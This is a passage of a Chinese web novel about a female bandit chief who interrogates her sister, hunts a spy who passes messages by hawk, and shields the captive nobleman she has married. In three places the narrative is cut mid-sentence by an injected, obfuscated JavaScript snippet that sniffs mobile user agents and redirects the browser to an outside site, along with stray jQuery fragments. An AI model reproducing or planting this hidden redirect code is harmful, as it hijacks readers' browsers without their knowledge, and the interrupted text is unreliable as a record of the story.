这是龙头寨的地窖,平日里用来关押犯错的山匪,遇险时,则是山匪们逃生的通道,这地窖只有两道门,一道在寨中树林里,另一道则在柳锐的暗门之下,这寨中最骇人的地方,只有管事们才有资格使用,寻常的山匪只要不犯错,那一辈子都没机会知道地窖里长什么样。 老念早已站在一间牢笼外,严肃地看着里边,这里关的正是柳峰,她被绑在架子上动弹不得,脸上却是一脸轻蔑和无所谓,像是在对老念表达出一个意思——你能奈我何? “念姐儿,小时候你对我可不是这样,每日都眼巴巴捧着,如今当惯小妹的狗,都会朝旧主龇牙咧嘴了。” 老念不理会她,看到柳锐来了立即迎上:“她正嚣张着呢。” 柳锐没说话,倒是柳峰斜视她一眼,神色不屑:“小妹竟然还有空来管我,怎么,你的小美人把你从床上踹下来了,不肯和你睡?” 骑马比武这一事,已经将二人间轻如薄纸的客气戳破,因此柳峰没了收敛,柳锐也不恼,懒洋洋地打开笼子门:“死到临头还这么嘴硬。” “死?怎么,你要杀了我?你看我老娘不找你算账!你是她捡的,我才是亲生的。” “血浓于水又怎样,阿娘还是把寨子给我了,没给你。”柳锐一眼扫过挂着的一排刑具,“姐姐,我给你最后一次机会,告诉我,到底是谁如此迅速地将我的事情汇报给了你,你只要如实招来,我能保证你安然无恙地离开寨子。” 是谁暗中将剪子塞进她给顾清的喜服里,又是谁将寨子里发生的事全部汇报给柳峰,让她第二天上门谋害柳锐。 柳峰笑了笑:“有本事你就弄死我,否则你撬不开我的嘴,不过我可提醒你,我身上若有用刑的痕迹,只怕阿娘从此就要跟你生出嫌隙了。” “少拿老寨主压大当家,整个寨子谁不知道现在谁做主?” 包子的怒气先被点燃了,眼里全是火星子,像是下一刻就要进去打架,柳锐立即出声制止:“包子,我审她就行,你去地窖外透透气。” 柳锐的吩咐,包子没法拒绝,她只能瞪着柳峰,凶狠地做个抹脖子的动作,随后才迈步离开,待她走了,柳锐才闲庭信步地围着柳峰绕一圈:“包子不是和咱两一起长大的,我也算给你面子,不让她看见你接下来的丑态。” “哦,鞭子,棍棒,还是热炭?” “我哪里会用那些普通玩意。”柳锐对上她的视线:“你不是最喜欢赌博么,少时爱赌,后来还学会了出老千,靠着一双灵巧的手在赌场里作弊赢钱,既然如此,我就硬生生折断你这双手,你知道我的,我能让你筋骨俱损,却又不会让你的手上出现一点伤痕,你从此就再也没法赌,也不能提刀,到那个时候,恐怕…” 就像柳峰知道被激怒的柳锐好对付一样,柳锐也知道她的要害,柳峰顿时变了脸色,嘴唇微颤说不出话来。 柳锐冷冷地将手覆在她手腕上:“我数三声,三声后我就先折断你的右手,三,二,一。” 手腕上逐渐传出的痛楚让柳峰大惊失色,她赶紧出声:“停下!我说!” —— 包子走了地窖的另一扇门,那门出来便通向树林里,她出门靠着棵树斜倚着,不多时踹一脚石头,嘴里碎碎念:“这杀千刀的柳峰…” “嗨哟,二当家的,你在这啊。” 听见声音,包子抬头,便见是小黑提着两壶酒笑嘻嘻走过来。 “哟,你怎么来了?” “昨个晚上不是约好了么,我今日下午来跟你喝酒,我在寨子里找了一圈,都没找到你人,索性就碰碰运气来这看看了。” 昨晚当真约酒了?包子有些不记得,她只记得自己在老念那喝个酩酊大醉,不过有酒主动找上门,那肯定是要喝的,她顾及着柳锐还没审问完人,因此不肯走,原地圈腿坐下,干脆地打开一壶酒:“谢谢喽。” “一壶酒而已,哪里用得着谢。”小黑坐在她旁边,喝了两口才道:“二当家的,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319270|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么坐这呢,我以为你会在大当家那呢,对了,说起大当家,她当真如郎中说的那样受了重伤,卧病在床?” 提及柳锐的“病”,包子寻思着她还要靠装病欺骗她那美人,因此点点头:“对啊,我刚瞧过她,她还躺着呢,蔫蔫的。” “哦,是这样。”小黑一脸担忧,随后转移话题:“不说这些,大当家吉人自有天相,咱们先喝酒。” “对,喝!” 小黑带来的酒甚烈,半壶下肚,包子已经面色泛红,待一整壶喝完,她这千杯难倒的人居然醉了,傻笑着打了个酒嗝,满意地靠在树边。 “二当家的,你守在这是为了什么呀?”小黑边将自己壶里的酒倒她壶里,边问道。 “还能干什么,审柳峰那个杀千刀的玩意。”包子醉酒时有点大舌头,艰难地吐着字,一口把酒咽下去。 “那你站在这,又是谁在审犯人?” “啧,还能有谁啊,能有谁可以让老娘给她守门的。”包子不耐烦地把空酒壶一扔,放话道:“那自然是大当家啊!” —— “就前两日,我…我在山下赌博的时候,一个叫阿亮的小厮突然给我递了个纸条,把你最近的消息都透露给了我,否则我们互不来往,我压根就没法知道你的消息哇,她还给我塞了不少银子,让我杀你,说若是事成,她给我黄金百两去赌,我就答应了。” “我句句属实啊,你若不信,你只管下山去找那个叫阿亮的,就在山下的赌坊里!” 柳峰的话让柳锐久久不能回神,柳锐猛然意识到,寨里的这个内应没有她想象中简单。 她原以为那是柳峰自己安插的内应,用来帮她夺回寨子的,现在看来,安排内应的另有其人,而且这内应厉害,身在寨中,却已能够把消息传到山下,再让山下的人寻找柳峰,而内应本人却一直按兵不动。 要知道,从龙头寨下一回山可不容易,来去也得两天的功夫,寨中若有人消失这么久,她必会有所察觉,然而问过老念后,却发现寨子里近几日都无人外出,就更不要提下山了。 消息到底是如何传出去的? 柳锐暂时想不出答案来,眼看着到了晚上要喝药的时候,便自暗道里回去,躺在床上望着天花板冥思苦想,不多时,房门外传来一阵脚步声,她抬眼,便见是顾清端着药走进屋里。 顾清给她端药这件事,令她的心情难得好了一下,只不过不知为何,他的脸色比上午给她煮药时还要难看,神情冰冷至极,瞥她一眼时像是在看一个仇人,厌恶,反感…也含着一种看不起。 他至少是煮了药,甚至还烫出了一个血泡,因此柳锐也不计较他此刻的眼神,只是坐起身:“辛苦了。” 顾清将药重重地放到她桌上,碗中的药液溅出来不少,但他没在意,只平静地命令她:“喝。” 柳锐微微挑了下眉,随后装模作样咳嗽了两声,缓缓端起药抿了一口,谁知这一口竟然让她差点吐出来。 好咸!除了那该死的苦涩之外,还带着一种浓浓的咸味,像是加了一罐子盐巴的清汤,咸的叫人反胃。 “怎么会这么难喝?” 看到柳锐皱着眉干呕的模样,顾清收回目光:“没办法,我不擅做这种事,若发挥的不好,就只会煎这种难喝的汤药,你最好趁早习惯。” 他在袖子里攥紧自己刚刚得到的新密信,语气颇冷:“怎么还在乎味道,不是就想喝我煎的药么,我都做到了,你有什么不如愿的,还不快点喝?” 那可是他放了一罐子盐的药,难为她还费心思想出装病这主意来,迫使他不得不和她相处,她根本不知道,于她而言的一桩好事,对他来说却是奇耻大辱,一个出身名门的公子,一辈子只会服侍母亲和妻主两个女人,否则便是有失身份,给家族蒙羞! 不是就想被他伺候,不是就要喝他煎的药么,那就让她喝个够,喝到再也不愿意喝他煎的药为止。 柳锐看了他一眼,一时有些摸不准发生了什么,却见顾清轻嗤一声,转过身往外走:“你既然喝不下我煎的药,那就是没福气喝,也是不尊重我,明日起我就不给你备药了,你爱喝谁的药,就去找谁。” “等等。”柳锐喊了他一声,等到顾清懒懒地转过头来时,她才将碗中的药送到唇边。 苦涩与咸一齐涌过喉咙管,柳锐只当没知觉,在顾清面前将那碗药一饮而尽,一点不剩。 顾清盯着她沉默不语,而柳锐只是放下药碗直视他: “明天继续,我等着你的药。” 11. 第十一章 房间内一时寂静无声。 顾清皱着眉看了看她,脸上的神情有些复杂,也不知道是厌恶多一些,还是不解多一些。 他真想立即戳破她的谎言,问问她这样做有什么意思,但这事毕竟是他通过密信得知的,挑明了问会让柳锐警觉,反而会坏事,倒不如就照着柳锐给的这台阶搪塞一下,这种东西喝下去伤身,她自己都觉得没事,那他又何必阻止。 片刻后,他恢复了平静,收回目光转身离开,轻声丢下一句:“自讨苦吃。” 柳锐没听见这句话,只保持着神色平静,待顾清的身影完全消失在房门边,她跳下床给自己灌了好几碗茶水,等喝到茶水味完全冲淡了嘴里的苦和咸,才安然松口气。 她不想喝那般难喝的东西,但方才顾清话语里说不喝就是不尊重他,真是可笑,作为一个山匪,除了强娶这一件事外,柳锐哪件事没尊重过他,她才不背这莫须有的罪名,索性就把药喝了,只在他离开后像小孩般呸几声吐槽。 “那么漂亮的脸和手,怎么会有煎出这种毒物的时候。” 清晨,山中雾气渐消,空气湿润又带着凉意,山寨里养的鸡鸭出圈,沿着空草地拣小虫吃,没有差事的山匪们早起开始习武练功,整个寨子乍一看就像个普通又祥和热闹的村子。 “大当家的,出事了!柳峰那厮不见了!” 柳锐刚洗漱完毕倒了杯热茶,还没喝两口,包子便着急忙慌地闯进来,那开门的响声惊得柳锐手里的茶差点洒地上。 “真是坏了事了,什么内应竟然能把柳峰从地窖里偷出来,大当家的,我即刻带人去追,不出半个时辰,必将柳峰捉回来!” “不必,人是我下令放的。” “哦,是你啊…什么?你说什么!?” 包子惊得瞪大眼睛,一脸不敢置信凑到柳锐跟前,她身上一股子宿醉后的酒味,柳锐有些无语地扫她一眼:“我夜里就吩咐放人了,只是你当时喝醉酒不省人事,没办法和你说个明白。” 提到喝醉酒,包子尴尬地咳嗽一声道:“昨个不是还审问的好好的,怎么就要放她走了呢?” “她不过是借刀杀人的那把刀而已,能吐出来的消息有限,吐完也就没有什么用处了,再说了,她到底是阿娘的亲女儿,一直当犯人关着,阿娘的脸面是要还是不要了?” 柳锐的话让包子顿时一噎,包子眨眨眼,结结巴巴:“这是柳峰要杀你,老寨主最讲究公正,铁定是站在你这边,支持你审问的。” “再公正的人也会为血亲低头,况且阿娘做了不少退步,从柳峰计谋败露到被我扣下关押的这几日,她可有出面阻止过?她默许我秉公办事,不代表允许我蹬鼻子上脸,一直关着柳峰不放。” 原本一惊一乍的包子被柳锐几句话说得冷静下来,闷声坐在她边上,看着柳锐慢条斯理地喝茶:“那接下来该如何?” “柳峰说,指使诱导她杀我的,是山下赌坊里的一个叫阿亮的小厮…” “那我带人下山,叫那小厮活捉回来再审问?” “恐怕难。”柳锐凝眉看向窗外:“那内应和山下联系密切,传消息又迅速,只怕柳峰被我抓回来那日,她就已经将计谋失败的消息传下山,你现在去,那小厮恐怕已经跑了。” “这可是唯一的线索,总是得抓住,再说了,跑的了和尚跑不了庙,既是从赌坊里传出来的消息,那去一趟肯定能查出点什么来,我带几个姐妹下山探查一番。” 山脚下的平城只有一家大赌坊,那里鱼龙混杂,什么样的人都有,这种地方对普通人来说极其危险,对包子她们来说反而刚刚好,安全又熟悉。 “行吧,就这么着,记得乔装打扮一下,打扮得和蔼可亲些,你这凶神恶煞的模样若是不改改,只怕没进城就露出马脚了。” 包子一听这话下意识摸摸自己的脸,心道长得凶神恶煞这又不怪她,得怪生她的爹,随后啧了一声:“大当家的,你跟我们去不?” “山脚下全是我的通缉令,我去添什么乱。” 柳锐有些意味深长地扬唇笑了笑。 “再者,若想让你们顺利下山,我总要做点什么,吸引一下内应的注意力才行。” —— 寨子里的山匪们都在同一间大堂里用午饭,一人一碗煮的热乎乎的米汤和一张白面饼,米汤上还要浇一勺剁碎的腊肉,经过一上午的习武,山匪们都饿坏了,一排排坐下闷声吃饭。 小黑来的迟,进来打了碗米汤就坐下,看见对面三个女山匪穿戴整齐,短刃放在桌面擦得锃亮,一副要出门的样子,便喝了口米汤笑眯眯问:“几位姐姐,今的米汤香得很,要不要我再帮你们打几碗?” “哟,原来是小黑你啊,嗨,不用了,我们领了任务在身,急着出寨子呢。” “任务?什么任务,我瞧大当家也没说啊。” “是二当家要领我们下山打劫了。” 对于山匪来说,打劫就和呼吸一样,是件再正常不过的事情,可小黑却琢磨出点不对劲:“最近没听说有什么大官要经过此地,这真能有所收获?” “自然,二当家说是有什么富商,总之让我们准备好,还说天气回暖,冬衣软甲太沉了,要轻装上阵。” 聊了几句,小黑还想再继续问点什么,却突然听见外面有人喊:“念姐来了。” 周遭一时安静下来,所有人放下碗往外看,只见老念走进来大略扫了一眼,而后道:“大当家有令,凡是山寨里所有驯养了鹰的,带上自己的鹰去大当家院子里集合。” 话毕,老念转身就走,只留下一屋子面面相觑的山匪。 “大当家的这是啥意思?要看鹰?” “我不知道哇。” 所有人议论纷纷,唯独小黑眼里闪过一丝异样的神情,讪讪一笑,低头喝了口米汤。 “总共有六人驯养了鹰,她们都已到齐,听候大当家差遣。” 柳锐正闭眼靠着椅背小憩,听见老念的汇报才徐徐睁眼,身子坐直朝窗外瞥了一眼。 院子的场景堪称是鸡飞狗跳,并不是每只鹰都安稳停留在主人肩头,鹰的领地意识极强,看见同类就想打架争夺领地,因此几只鹰正不断飞起互相“嘎嘎嘎”地啄咬同类,闹得院子里满地羽毛。 “真够乱的。”柳锐悠闲地吹声口哨,只听天空中“吁——!”一声响,一只体型庞大羽毛浓密的山鹰盘旋着飞下来,如一块石头般稳稳落在树枝上,眼若宝石,目光如炬,压得那几只打架的鹰瞬间警惕起来,飞到主人的肩上一动不动。 这样的场景让老念都忍不住露出佩服的神情,然而她也不甚了解柳锐现下是什么想法,只道:“放眼整个龙头寨,数你最懂驯鹰,你把大家叫来,是要授课么?” “当然不是,告诉她们,人走,鸟留下。” “你这是何意,要那么多鸟做什么?”老念一惊,不敢置信地坐下问她,不过到底是老念,柳锐一个眼神,她瞬间就恍然大悟道:“哦,原来如此,你是在切断内应与山下联系的唯一渠道!” 之前是内应在暗,她们在明,对内应的所作所为全然不知,然而柳峰那一席话却让柳锐察觉到不少端倪,山上无人外出,山下却对她的消息了如指掌,有什么传递信息的方式既不需要人出动,又能做到速达? 这个答案对于一个在山里长大的人来说并不难猜,柳锐昨晚只稍稍想了一会,便考虑清楚。 “若要论起足不出户却又能准确迅速地将消息传下山的方法,唯就得靠天上的翅膀,信鸽是最好的选择,只可惜信鸽的作用太少,不能狩猎无法攻击,因此我们山寨从来都只养鹰而非鸽子,鹰亦可凭借记忆往返两地,传达消息,因此,必定是这六只鹰中的某一只将我的消息泄露出去,而它的主人,就是内应。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319271|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我明白了,寨里有为驯鹰而制的特殊笼子,我现在就要她们把鹰关起来留下,你最擅长驯鹰,就留在你的院子里由你亲自照看,最为合适。” 老念点点头,随即动身去忙,只剩下柳锐悠闲地坐在二楼的窗边观察底下的每一只鹰,这些鹰长得各有特色,或壮或瘦,羽毛的颜色也各有不同,柳锐一眼扫过,最终将视线停留在一只黑色羽翼的鹰身上,它的主人小黑正一脸憨笑地站在边上,柳锐记得这只鹰,包子曾看上过它,还为了它和小黑比武,只可惜那场比武被柳峰搅局,最后演变成了柳家两姐妹间的比武。 那只鹰很漂亮,不过比起柳锐自己的鹰,她觉得还差了些,她若有所思地转眸去寻找自己的鹰的踪迹,却不经意间发现它正停在院里一棵矮树枝上,树下有一道纤瘦的身影,是顾清正驻足静观那些鹰。 自从那夜被“惩罚”过后,顾清便独自搬到院里的小厢房住去了,今日阳光甚好,洋洋洒洒落在他身上,给顾清的墨发和睫毛渡上一层淡淡的浅光,他大概是想出来晒太阳,手里还拿着本薄薄的书,整个人像朵美丽安静的山茶花,与一边忙着塞鹰进笼子的山匪们格格不入。 “盯着鹰看这么久,怎么,很喜欢这种动物么?你不用看它们,我也有鹰,比它们都漂亮,就在你头顶,你抬头就能看见了。” 柳锐靠在栏杆边垂眼和他打招呼,顾清闻声瞥了她一眼,没有顺着她的话题说话,而是轻声问:“你关这些鹰做什么?” 抓内应的事,柳锐不想和他多说,于是只托着腮简单回答:“喜欢,所以就关起来看看。” “你把我当傻子么。” 顾清语气淡淡,柳锐却怔了一下,笑了笑说道:“怎么会,只不过这事有点复杂,知道了会烦神,所以才不想告诉你,仅此而已。” “念姐,这鹰什么时候能还我们,你知道的,打劫也好,打猎也罢,咱们都离不开鹰,小六她还靠着鹰给家里每隔一个月捎信报平安的,没有鹰,咱做什么都不方便呐。” 院子里突然有人发话,说话的正是小黑,而她提到的小六是另一名有鹰的山匪,听见小黑的话,小六赶紧点头附和:“不错不错,俺还要给俺娘捎信呢,念姐,你想想法子劝劝大当家吧。” “你们都稍安勿躁,稍安勿躁…” 老念忙不迭安稳这些不安的山匪们,而顾清却在听见“捎信”二字时忽而察觉出点什么来,他直觉这事和姐姐的内应有关,他想,姐姐和内应能够布局又联系密切,一定用的是她们独有的联系方式。 但现在这联系的方式恐怕被柳锐发现了。 顾清神色渐冷,隐隐带着丝担忧,捏紧手中的书本转身回了房。 夜色深沉,月上枝头。 小厢房不比二楼柳锐的寝室,这里入夜总是稍有些冷,院子里关着数只鹰,时不时叫两声,便让顾清很难入眠。 一阵风过,将窗户吹开一条缝隙,顾清起身前去关窗时瞄了一眼院内,只见院子里放着大大小小的笼子,那些鹰正关在里头,而柳锐的那只鹰则停在最高的树枝上一动不动,一双眼睛死死盯着面前的数只鹰以及整个院子。 这就是柳锐身为大当家,却无需多少下人看守院落的原因,她有一个极强的守卫监视着一切,让任何人无法轻易在夜里钻入她院内动任何手脚。 顾清扫它一眼,刚要转头,一道寒光却莫名刺了下他的眼睛,他眉心微动,转头便见墙外抬起了一把制作精巧的小剑弩,剑弩里的不是箭矢,正是内应给他传信时特制的粗针! 然而这根粗针面对的并不是他的窗户,正悄然转向那只鹰。 意识到对面要做什么,顾清犹豫了瞬,安静地背过身,靠着窗闭上眼,纵容眼前的一切发展下去。 他只想要内应和她的鹰毫无差池。 至于其它,他无暇,也没道理去顾虑和关心,不是么。 12. 第十二章 寒光闪烁。 顾清闭着眼静候那结果,可下一刻,他耳边响起的竟非鹰的哀鸣,而是轻巧却又突兀的口哨声。 “吁——” 这声音划破寂静的夜色,也出乎墙外之人的意料,剑弩微不可察地抖了抖,这一点微末的更改便叫飞出去的寒光冲向斜对面,发出细微的声响划破树叶,原本一动不动的鹰陡然间目光锐利,眼珠子一转,怒视着墙外一团黑影飞出去。 “唔…!” 墙外的人被这不小的冲击力摔翻在地,发出声痛苦又克制的闷哼,好在她身手不简单,没几下便以迅雷不及掩耳之势钻进灌木丛中。 顾清有些愕然,扶窗向外看去,可院子里依旧不见人影,二楼的房间一片黑黢黢…他的目光不断向上移,逐渐移至竹楼屋顶用于防水的茅草堆里,下一刻,那些茅草动了动,柳锐一脸不耐烦地把身上的茅草掸开,站直身子俯视墙外。 内应已经不见踪影,虽然柳锐猜她会有所动作,但她没料到这个内应极其厉害,柳锐在屋顶趴那么久都没有看见她是如何悄然来到墙外的,而且这人全身包裹得严严实实,柳锐压根未看见她长相。 “好可惜,差一点就能捉住了。” 柳锐像猫一般悠悠伸懒腰,神情轻松,就好像刚才只是玩了出“螳螂捕蝉,黄雀在后”的游戏一般,鹰没抓到人,灰溜溜扇动着翅膀飞回来,她安抚性地给它抛了条肉,才将余光扫向顾清的窗前,与他对视了一眼。 他站在冷冷清清的月光下,朦胧的光让他的肌肤如玉一般,素衣长发就足以让他漂亮得不可方物,如此美人,现下正抿唇看着她,神色复杂。 “你刚刚是不是看到那把剑弩了,为什么不出声?”柳锐的目光宛若一把能穿透人心的剑,直直地盯着他看。 顾清徐徐收回视线,语气平静:“我没有必要出声,你和你敌人之间的事,与我不相干,没准哪天你被敌人杀了,我还能立刻获得自由。” 最近这种话听太多,柳锐反而习惯了,她一点没被激怒,把玩着手边的短刃轻松笑了笑:“比起想我会不会被人杀死,你最好先想想哪天不留神就被我睡了该怎么办。” “做梦。” 顾清最反感山匪的俗言俗语,他有些厌恶地看看她,砰一声关上窗户。 —— 龙头岭里连着几日细雨连绵,限制人的出行,柳锐每每来找顾清,他都不言不语,也不知道是生气还是纯粹的冷漠,无论柳锐好言好语还是威胁,他都拿她当空气,包子差人送消息说是路上耽搁,要迟些回寨,柳锐就只好独自坐在台阶上悠悠看雨,看着这初春的雨将冬日的阴沉洗刷干净。 等到再度阳光灿烂的时候,天气便完全暖和起来,漫山遍野都冒出青葱翠绿,一片生机勃勃。 但龙头寨却是遇上了个大问题。 “这么大的老鼠!真是夭寿,我活了大半辈子,也没见过和兔子一样大的老鼠!我们的粮仓墙壁上已经出现了好几个洞口,粮食也损坏不少,大当家的,这是要闹鼠灾了!” 管粮仓的山匪是个老太太,名叫瑞芬,她指着面前肥头大耳的死老鼠,神情激动,柳锐仔仔细细看了会,才安慰她道:“没事,不是什么特殊的品种,普通的老鼠而已,就是有点吃的太胖了。” “它当然胖了,它吃的可是我们粮仓里正儿八经的谷子啊!”瑞芬忍不住叫出来,“大当家,灭鼠刻不容缓,从前有鹰在寨子里到处飞,它们把老鼠克得死死的,现下鹰都被关在您这里了,老鼠猖狂,老鼠猖狂啊!这必须要治,否则大家伙今年的口粮都要被老鼠吃光了!” 吵了半天只一个目的,就是速速放鹰去捕鼠,柳锐皱眉想了想,问她道:“一只鹰不够么?” “当然不够,别说您的,大家伙的鹰加一块都未必够,昨夜我留了个心眼子,跟着谷子碎屑的印迹出去瞧了瞧,我的老天奶啊,老鼠竟然在我们寨子底下的山坡打洞生崽了,还不止一只母鼠,十几只,不对,几十只!” 到这个地步,柳锐不得不同意放鹰出来灭鼠,这些已经被驯服的鹰只有在主人的命令时才会狩猎,因而柳锐只能让鹰的主人们来领鹰,再同她们一起去瑞芬口中的山坡灭鼠。 听到今日可以带鹰去山坡上捕鼠狩猎,几个人中数小六最开心,头一批去领回鹰,这是她的第一只鹰,她喜欢得紧,小六拉着小黑有说有笑进了院子,看着自己的鹰感叹道:“大当家就是厉害,我的鹰在她这住了几日,羽毛竟养得油光水滑。” “要不然怎么能是大当家呢。”小黑给自己的鹰喂块肉糜,又把肉糜给小六丢了点:“鹰野性大得很呢,几日不见就和人生疏,你现在不喂它点吃的,恐怕它待会不听你的话。” “谢谢,还是你想的周到。”小六很感激地点点头,随后立刻道:“你腿不是摔伤了么,我那有药膏,回头给你贴一张。” 小黑愣了下,尴尬笑笑,随后神色一凛,拉着她小声道:“这事只有咱俩能知道,你别在大家面前说,否则大当家就不让我干活了,难得在她面前表现的机会,我可不想错过。” 小六笑容渐收,赶忙点头,不过她看了眼一旁,神色犹豫:“但是已经有第三人知道了…” 闻言,小黑眼中浮现出丝杀意,她顺着那方向看去,却突然神色一松,微不可察地朝那递个尊敬的眼神,回过头若无其事揽住小六的肩膀:“没事,你不再对旁人说就成。” 因为瑞芬说老鼠多,柳锐决定加入到捕鼠的队列中去,她收拾妥当出门,穿过院子时遇见顾清在沿着石子小路低头踱步,他今日穿了身很符合初春的淡绿色长衫,无端让柳锐想到她自己抢来的画中所描摹的江南水乡。 听见脚步声,顾清抬头看她,难得地问了句:“你去哪?” 好几天没和她说话,陡然听见这么一句,柳锐眨了眨眼,好半天才回答:“和她们一起捕鼠狩猎。”话说到这,她鬼使神差地问:“你要去看看么?” 这话柳锐说出口便后悔了,她知道顾清必定会拒绝,今日事情本来就多,何苦给自己找不痛快,可谁知顾清犹豫片刻后点点头。 “好。” —— “真是难得,他竟然跟你一同出来。” 看见柳锐和顾清一同出现在山坡上,先到的老念啧啧称奇了一番:“你也是该让他出来走走,自从他来之后,整日就在你那小竹楼里待着,是个人都要憋坏的,出来透透气多好,山上风景这么美,多看看就笑了。” 说来也是难得,柳锐从没见到顾清笑过,听老念这么说,她也生出几分期待来,转头望向他,只见山坡上的春风正吹起他的长发与衣袖,初春还带着点寒,柳锐担心他冷,将自己身上披着的狐皮外氅脱下,踏过草地递给他。 “喏,穿上,外面还有点冷,当心生病。” 因为今日顾清应了她的邀请,柳锐非常难得的语气温和,顾清正看着不远处的小黑一行人,他闻声侧目看眼衣服,转头移开视线:“我不冷。” “穿这么单薄,怎么可能不冷。” 那衣服上有皂角的味道和淡淡的血腥气,顾清把这称作为柳锐的味道,他抵触这个味,更不要提穿上一件被这种气味包裹着的衣服,而且姐姐的内应正在场,内应即是家仆,让家仆看见他被迫穿一个山匪的土衣裳,这实在是莫大的羞辱。 柳锐硬要将衣服塞他手里,顾清没有一点要接的意思,最终是柳锐擅自将衣服往他肩上一披,威胁他:“脱下来你就完了,我说到做到。” 到底是害怕柳锐乱来,顾清想要撇开衣服的手徐徐落下,他眼含怒气,盯着她低声说:“你以为这么做就是对我好么,你越这样,我越讨厌你。” 柳锐眯了眯眼,刚要发作,老念在背后提醒道:“大当家的,人到齐了。” 现在不是吵架的时候,柳锐深深看他一眼,回头走向众人,龙头岭的山坡上视野开阔,朝下能看见山谷,放眼是延绵的青山,她踏在草地上一步步走近,看着神色各异的众人,对老念吩咐道:“把我先前准备好软甲给她们发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319272|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,待绑好了,才能开始捕鼠。” 柳锐发下去的软甲十分特殊,这软甲上带有细绳,绳的另一头则绑在鹰的脚上,这是草原上传至中原的驯鹰方法,有绳子的连接,鹰能在规定的范围内自由飞翔却又不离开主人的掌控,就像放纸鸢似的,这原是用来防止刚被驯化的鹰逃跑的,现下却被柳锐用来防内应,鹰飞不出龙头岭,自然就无法再传递消息。 有人不禁嘀咕:“大当家突然像防贼似的防我们。” “大当家总有她的道理,戴上就是了。” 小黑没说话,她感觉有些事一直在脱离预料的轨道,因而隐隐皱眉,戴上软甲后不着痕迹地看眼顾清。 公子怎么就来了呢,接下来的计划若危及到他…那也没办法,大局为重。 然而顾清正是因为她来的,昨夜的内应在鹰的追赶中摔跤,今日出现的小黑便摔伤了腿,这样的巧合让他不难猜到真相,他害怕的是小黑因为受伤而瘸腿太过明显被柳锐发现,他能猜到真相,那柳锐肯定也能。 因此他才会来,他要帮助她吸引柳锐一部分的注意力,他知道柳锐喜欢他,也喜欢盯着他看,就像现在,顾清察觉到柳锐正像是小动物般观察他的神情,这种直视让他厌烦,然而这是他现在需要的东西,因此他只装没看见,未曾看过她一眼。 戴上这软甲后,几人便开始各自忙活起来,鹰是捕猎的好手,捕老鼠自是不在话下,柳锐的鹰也加入到这捕鼠当中,它长得大,食量大,边吃边捉,整只鹰看起来都十分惬意。 “你这鹰,不是龙头岭原有的品种,该是北边草原来的,误打误撞被你抓去驯服了。” 老念坐在草地上端详半天才开口,听见老念的话,柳锐粲然一笑:“那我还挺有本事,驯服了这山上最独一无二的鹰。” “你确实是最有本事的,我有时候甚至觉得这座山埋没了你,只是你在这里长大,也没有别的出路可以走了。”老念带着赞赏又可惜的眼神看向她,见她的目光总是往顾清那边飘,有些匪夷所思道:“你到底喜欢他哪?” “你不觉得他跟我们很不一样么,什么打打杀杀都跟他不相干,像朵花似的,安静又好看,不过真不爽啊,我看他那么久,他一次都没有看向我。” “吁——!” 一声鹰的叫声吸引了柳锐的注意,她循声朝那处看去,只见山匪小六的鹰突然颇为烦躁,在树间到处乱撞,连羽毛都变得凌乱,小六怎么吹口哨它都不听,眼睛瞪得极大,看起来有些可怖,像山里发疯的野狗。 “怎么它突然就不听话了呢。”小六一脸焦虑,紧接着可怕的事便发生了,她的鹰突然猛地向上飞,一下又一下,硬生生扯断了系在软甲上的麻绳,俯身以迅雷不及掩耳之势划过小六的臂膀。 这一刻,所有人再次意识到了鹰作为猛禽的可怕,小六的肩膀被它划出几道深深的血痕,甚至能依稀看见白骨,她受不住这痛一翻白眼昏过去,其余几人想要命令自己的鹰上去阻止,却发现疯了的鹰压根不能挡,它撕咬同类的羽毛和肉,在空中划出一个圆滑的弧度抓伤人,紧接着就往另一方向去。 “小黑,你没事吧,你被鹰抓伤脸了!”一个山匪关心了下摔在地上的小黑,小黑这才虚虚一笑道:“没事没事,小伤口。” “糟糕!那鹰完全疯了,它朝大当家的夫郎去了!” 众人转头,只见鹰已然一个俯冲到对面,顾清原本正担心小黑是否还会再受伤,看到鹰突然调转方向,他面色一变,转身就要跑,可鹰的双翅却已如黑云笼罩在他头顶,一只爪子探向了他的面前,就在他有些绝望地闭上眼的时候,一阵风过,耳边传来“跐——”一声血肉被猛烈划开的闷响声,血腥气瞬间蔓延开来。 令他意外的是,血肉被划开的时候,他没有感受到丝毫的痛楚。 顾清这才恍惚睁开眼。 他看见那只疯了的鹰已然飞得不见踪影,而柳锐正神情幽幽地抱着他,肩膀被锋利的爪子贯穿,鲜血直流,染红她背后大半天空。 13. 第十三章 温热的血液飞溅到顾清白皙的脸颊上,触目惊心。 